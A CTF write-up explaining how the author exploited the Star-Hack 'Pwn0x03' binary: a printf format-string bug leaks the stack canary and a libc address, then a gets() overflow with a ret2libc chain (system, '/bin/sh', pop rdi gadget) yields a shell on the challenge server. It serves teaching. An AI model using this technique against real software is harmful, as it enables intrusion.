The Star-Hack was a regional online CTF in which more than 150 computer science students from Nouvelle-Aquitaine competed. The CTF certainly had some issues, but the 3 pwn challenges were quite interesting. I was one of only two students to solve the last pwn challenge. Here is a writeup of how I proceded.

Pwn0x03

secret storage service ? is it even secure ?

nc 35.180.44.229 1237

This executable is provided, let’s check if any security measures are enabled:

$ checksec --file=task
[*] '/home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/task'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

Everything is enabled. The libc used on the server is also provided. Let’s try running the executable with this libc :

$ LD_PRELOAD=./libc.so.6 task
/usr/libexec/pk-command-not-found: ./libc.so.6: version `GLIBC_ABI_DT_RELR' not found (required by /usr/libexec/pk-command-not-found)

I’ll spare you all the error messages. But essentially, we see there is a compatibility issue with the GLIBC version. During the CTF, I solved this problem by working from a container with an older version of Ubuntu compatible with this libc :

$ podman run -it ubuntu:focal bash

However after the CTF, I learned about pwninit. A tool that solves all such compatibility issues by downloading the compatible loader and generating a new executable using the providedlibc :

$ ldd task
	linux-vdso.so.1 (0x00007ff2a341f000)
	libc.so.6 => /lib64/libc.so.6 (0x00007ff2a320b000)
	/lib64/ld-linux-x86-64.so.2 (0x00007ff2a3421000)

$ ldd task_patched 
	linux-vdso.so.1 (0x00007fafe416a000)
	libc.so.6 => ./libc.so.6 (0x00007fafe3f6b000)
	./ld-2.31.so => /lib64/ld-linux-x86-64.so.2 (0x00007fafe416c000)

$ ./task_patched 
----------------------------
-- Secret storage service --
----------------------------
Identify your self : 
 > AAAA
Welcome : AAAA
U----------------------------
type your secret : BBBB

The program asks for multiple inputs. Let’s see if any of them are vulnerable.

Static Analysis

undefined8 main(void)
{
  long in_FS_OFFSET;
  char input2 [64];
  char input [88];
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  set_buffs();
  puts("----------------------------");
  puts("-- Secret storage service --");
  puts("----------------------------");
  puts("Identify your self : ");
  printf(" > ");
  read(0,input,80);
  printf("Welcome : ");
  printf(input);
  puts("----------------------------");
  printf("type your secret : ");
  gets(input2);
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return 0;
}

In this code, we can immediately identify two vulnerabilities. This printf is vulnerable to a format string bug :

  printf(input);

This allows us to easily leak the stack. Additionally, gets is vulnerable to a buffer overflow (because there is no input size limit) :

  gets(input2);

First, let’s try to leak the stack.

Dynamic Analysis

We can exploit the format string like this :

$ ./task_patched 
----------------------------
-- Secret storage service --
----------------------------
Identify your self : 
 > %p %p %p %p
Welcome : 0x7ffeacda1570 (nil) (nil) 0xa
----------------------------
type your secret : 

0x7ffeacda1570 is the first value on the stack when i’ts leaked, 0x0000000000000000 is the second, and so on.

Or in a cleaner way :

$ ./task_patched 
----------------------------
-- Secret storage service --
----------------------------
Identify your self : 
 > %30$p
Welcome : 0x100000000
----------------------------
type your secret : 

0x100000000 being the 30th value on the stack while it’s being leaked.

Now that we can leak the stack, we need to find the right values for our exploit. The simplest approach here seems to be using a ret2lib. For this, we need to find an address in the libc as well as the canary. By looking for leaks in GDB we can find :

gef➤  r
Starting program: /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/task_patched 
----------------------------
-- Secret storage service --
----------------------------
Identify your self : 
 > %27$p %25$p
Welcome : 0x7ffff7df9083 0x4d117625f73cce00
----------------------------
type your secret : 

The first value is an address libc :

gef➤  x/i 0x7ffff7df9083
   0x7ffff7df9083 <__libc_start_main+243>:	mov    edi,eax

Let’s check the canary :

──────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x55555555531f                  call   0x5555555550e0 <gets@plt>
   0x555555555324                  mov    eax, 0x0
   0x555555555329                  mov    rcx, QWORD PTR [rbp-0x8]
 → 0x55555555532d                  xor    rcx, QWORD PTR fs:0x28
   0x555555555336                  je     0x55555555533d
   0x555555555338                  call   0x5555555550b0 <__stack_chk_fail@plt>
   0x55555555533d                  leave  
   0x55555555533e                  ret    
   0x55555555533f                  nop    
gef➤  p $rcx
$2 = 0x4d117625f73cce00

xor rcx, QWORD PTR fs:0x28 being the instruction checking the canary at the end of main. rcx contains it, and we can see that we got the right leak.

To calculate the adresses necessary to our exploit, we’ll need to know the offset between the base of the given libc and our leak (0x7ffff7df9083 <__libc_start_main+243>: mov edi,eax). Let’s look for the base of libc in GDB :

gef➤  info proc map
process 35606
Mapped address spaces:

          Start Addr           End Addr       Size     Offset  Perms  objfile
      0x555555554000     0x555555555000     0x1000        0x0  r--p   /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/task_patched
      0x555555555000     0x555555556000     0x1000     0x1000  r-xp   /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/task_patched
      0x555555556000     0x555555557000     0x1000     0x2000  r--p   /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/task_patched
      0x555555557000     0x555555558000     0x1000     0x2000  r--p   /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/task_patched
      0x555555558000     0x55555555b000     0x3000     0x3000  rw-p   /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/task_patched
      0x7ffff7dd5000     0x7ffff7df7000    0x22000        0x0  r--p   /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/libc.so.6
      0x7ffff7df7000     0x7ffff7f6f000   0x178000    0x22000  r-xp   /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/libc.so.6
      0x7ffff7f6f000     0x7ffff7fbd000    0x4e000   0x19a000  r--p   /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/libc.so.6
      0x7ffff7fbd000     0x7ffff7fc1000     0x4000   0x1e7000  r--p   /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/libc.so.6
      0x7ffff7fc1000     0x7ffff7fc3000     0x2000   0x1eb000  rw-p   /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/libc.so.6
      0x7ffff7fc3000     0x7ffff7fc9000     0x6000        0x0  rw-p   
      0x7ffff7fc9000     0x7ffff7fcd000     0x4000        0x0  r--p   [vvar]
      0x7ffff7fcd000     0x7ffff7fcf000     0x2000        0x0  r-xp   [vdso]
      0x7ffff7fcf000     0x7ffff7fd0000     0x1000        0x0  r--p   /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/ld-2.31.so
      0x7ffff7fd0000     0x7ffff7ff3000    0x23000     0x1000  r-xp   /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/ld-2.31.so
      0x7ffff7ff3000     0x7ffff7ffb000     0x8000    0x24000  r--p   /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/ld-2.31.so
      0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x2c000  r--p   /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/ld-2.31.so
      0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x2d000  rw-p   /home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/ld-2.31.so
      0x7ffff7ffe000     0x7ffff7fff000     0x1000        0x0  rw-p   
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0  rw-p   [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0  --xp   [vsyscall]

And calculate the offset :

>>> 0x7ffff7df9083-0x7ffff7dd5000
147587

We can now write our exploit.

Exploit

We can find functions inside the given libc like this :

>>> from pwn import *

>>> libc = ELF("./libc.so.6")
[*] '/home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

>>> libc.sym["system"]
336528

>>> hex(libc.sym["system"])
'0x52290'

0x52290 is the offset between the base of libc, and the system function. We can now calculate the adress of the function system using our leak just like that : (leak - 147587) + libc.sym["system"] (147587 being the offset between our leak and the base of the libc we calculated above).

Finally, we will open a shell using the system function. To do so, we need a string containing /bin/sh :

>>> from pwn import *

>>> libc = ELF("./libc.so.6")
[*] '/home/geoffrey/Downloads/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

>>> hex(next(libc.search(b'/bin/sh')))
'0x1b45bd'

And a gadget pop rdi ; ret :

$ ROPgadget --binary libc.so.6 | grep "pop rdi ; ret"
0x0000000000023b6a : pop rdi ; ret

Putting everything together in this script, we get :

$ python3 exploit.py 
[*] '/home/geoffrey/Documents/Campus/Star-Hack/Pwn0x03/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
[+] Opening connection to 35.180.44.229 on port 1237: Done
[*] Switching to interactive mode
$ whoami
ctf
$ ls
flag.txt
task
ynetd
$ cat flag.txt
StarHack{fms_bUG5_ar3_mY_favorites_wh4t_ab0ut_y0u?ASDSAKDASDKASFFDSASDFSA}

You can find writeups of the other pwn challenges here.